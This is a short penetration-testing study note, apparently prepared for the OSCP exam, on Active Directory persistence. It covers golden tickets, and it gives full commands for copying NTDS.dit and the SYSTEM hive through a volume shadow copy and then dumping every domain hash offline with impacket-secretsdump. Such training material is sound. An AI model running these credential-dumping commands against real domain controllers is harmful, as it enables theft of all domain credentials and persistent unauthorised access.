Techniques / Active Directory
AD Persistence
Persistence keeps access to a domain after full compromise. It is not scored on the OSCP, which ends at Domain Admin, and is kept here only for course completeness; none of it is needed to pass the exam.
Two items from the PEN-200 persistence module:
- Golden ticket from the
krbtgthash: a forged TGT for any user, valid untilkrbtgtrotates twice. See Silver and Golden Tickets. ntds.ditvia shadow copy: with admin on the DC, snapshot the volume and extractntds.ditand the SYSTEM hive offline, yielding every domain hash without touching the live directory.
# on the DC (admin shell): snapshot, then copy the locked files out
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\NTDS\NTDS.dit C:\ntds.dit
reg save HKLM\SYSTEM C:\system.hive
# on Kali: extract the hashes offline
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
DCSync pulls the same hashes remotely with no shell on the DC, so the shadow-copy route is a fallback for when DCSync is not possible.